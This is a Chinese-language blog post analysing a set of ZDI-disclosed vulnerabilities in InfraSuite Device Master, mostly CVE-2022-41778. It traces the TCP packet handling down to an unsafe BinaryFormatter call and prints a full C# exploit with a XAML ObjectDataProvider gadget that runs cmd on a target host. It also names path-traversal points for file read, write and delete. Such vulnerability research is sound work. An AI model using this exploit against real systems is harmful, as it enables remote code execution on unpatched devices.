对ZDI公布的InfraSuite Device Master一揽子漏洞的分析

警告
本文最后更新于 2022-11-08,文中内容可能已过时。

看到zdi发了一堆洞,有反序列化、目录穿越、权限绕过等等,还是dotnet的,于是有了此文。

# 前言

ZDI爆的洞如图

image.png

# 基础架构

exe对应端口

1
2
3
C:\Program Files\InfraSuite Device Master\Device-DataCollect\Device-DataCollect.exe 3000
C:\Program Files\InfraSuite Device Master\Device-Gateway\Device-Gateway.exe  3100 3110
C:\Program Files\InfraSuite Device Master\Device-Gateway\Device-Gateway.exe 80 443

# CVE-2022-41778

https://www.zerodayinitiative.com/advisories/ZDI-22-1478/

这个漏洞在3100和3110端口

从TCP服务器到业务处理的逻辑如下

image.png

StartGatewayOperation中设置了网关服务的一些配置

image.png

初始化TCP端口

image.png

监听IPv4 v6,端口DEFAULT_TCP_PORT

image.png

this.InitialWebEngine()中配置了web服务器

image.png

在StartControlLayer中起worker线程跑业务逻辑

image.png

也就是MainLoop

image.png

在DoUpperLayerNWPacket中根据PacketData的sHeader字段的i32PayloadType进行switch case。

image.png

随便进入一个case

image.png

看到 Serialization.DeSerializeBinary(sPacket.payload, out obj)

image.png

直接binaryformatter,没啥好说的。关键点在于怎么构造payload。

# 构造payload

构造需要研究其tcp的处理逻辑,在ControlLayerMngt的构造函数中

image.png

初始化了一个TCPServerConnectionMngt,在ModuleInitialization中定义了TCP链接的send和receive事件。

image.png

我们发送给server的请求是receive事件,被ReceiveCallBack处理。

image.png

分别进行add、check操作

在add中将传入的buffer赋予自身this._gRxPacketBytesBuffer,变长存储字节数据。

image.png

check中检查数据包格式,重组PacketData对象

image.png

并调用this.AddRxPacket(packetData)将重组的packet对象加入this._gRxPacketList

image.png

回看MainLoop

image.png

this.CheckUpperLayerNWPacket(); this.DoUpperLayerNWPacket();

Check调用ReceivePacket判断this._gRxPacketList中是否有数据包

image.png

ReceivePacket调用GetFirstRxPacket拿到第一个数据包packet

image.png

然后调用this._gUpperLayerNWPacketQueue.AddToSyncQueue(packetData)将数据包加入到同步队列中。

DoUpperLayerNWPacket就是拿到队列中的第一个数据包

image.png

到这里的话就随便进入一个case,拿CtrlLayerNWCmd_FileOperation举例

image.png

将PacketData的payload字段反序列化回来,转为CtrlLayerNWCommand_FileOperation业务对象从而进行下一步业务处理。

那么到此,我们基本明白了其架构。

image.png

那么写EXP完全照搬就行了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
using InfraSuiteManager.Common;
using System;
using System.IO;
using System.Runtime.Serialization;
using Microsoft.VisualStudio.Text.Formatting;
using System.Net.Sockets;

namespace ConsoleApp1
{
    internal class Program
    {
        [Serializable]
        public class TextFormattingRunPropertiesMarshal : ISerializable
        {
            protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
            {
            }

            string _xaml;
            public void GetObjectData(SerializationInfo info, StreamingContext context)
            {
                Type typeTFRP = typeof(TextFormattingRunProperties);
                info.SetType(typeTFRP);
                info.AddValue("ForegroundBrush", _xaml);
            }
            public TextFormattingRunPropertiesMarshal(string xaml)
            {
                _xaml = xaml;
            }
        }
        static void Main(string[] args)
        {
            string xaml_payload = File.ReadAllText(@"1.txt");
            TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload);


            PacketData packet = new PacketData();
            PacketOperation packetOperation = new PacketOperation();
            if (!Serialization.SerializeBinary(payload, out packet.payload))
            {
                Console.WriteLine("serialize error.");
            }
            packet.sHeader.i32PayloadSize = packet.payload.Length;
            byte[] byTxPacket;
            packetOperation.MakePacketBytes(packet, out byTxPacket);

            TcpClient tcpClient = new TcpClient("172.16.9.136", 3000);
            NetworkStream stream = tcpClient.GetStream();
            var b = new BinaryWriter(stream);
            b.Write(byTxPacket);
            stream.Close();
            tcpClient.Close();

            Console.WriteLine("done.");
            Console.ReadKey();
        }
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
  <ObjectDataProvider.ObjectInstance>
    <sd:Process>
      <sd:Process.StartInfo>
        <sd:ProcessStartInfo Arguments="/c notepad" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
      </sd:Process.StartInfo>
    </sd:Process>
  </ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>

image.png

对于Device-DataCollect 根据packetData.sHeader.i32PayloadType可以case到1

image.png

InfraSuiteManager.DataCollectionLayer.DataCollectionLayerMngt.DCLNWCmd_DCServerStatus(ref PacketData) 这个地方有反序列化

image.png

构造payload不写了,Device-DataCollect和Device-Gateway架构差不多。同样用PacketOperation构造packet数据包就行了。

其他的洞就是case不一样,以下就只写漏洞点所在了。

# CVE-2022-41657

InfraSuiteManager.ControlLayer.ControlLayerMngt.CtrlLayerNWCmd_FileOperation(ref PacketData)

image.png

fileName参数可控导致跨目录任意文件写入+任意文件删除

image.png

fileName参数导致任意文件读取

# CVE-2022-41772

没看出来,感觉是解压目录穿越

image.png

# CVE-2022-41688

image.png

# CVE-2022-40202

image.png

# 总结

很经典的dotnet tcp server的漏洞,尤其是server对于tcp packet的处理和业务逻辑的关联梳理,让我对dotnet的理解更进一步。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。